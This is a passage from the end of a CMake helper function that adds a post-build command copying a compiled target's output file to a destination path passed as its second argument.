     add_custom_command(TARGET ${ARGV0} POST_BUILD
         COMMAND ${CMAKE_COMMAND} -E copy $<TARGET_FILE:${ARGV0}> ${ARGV1})
 endfunction()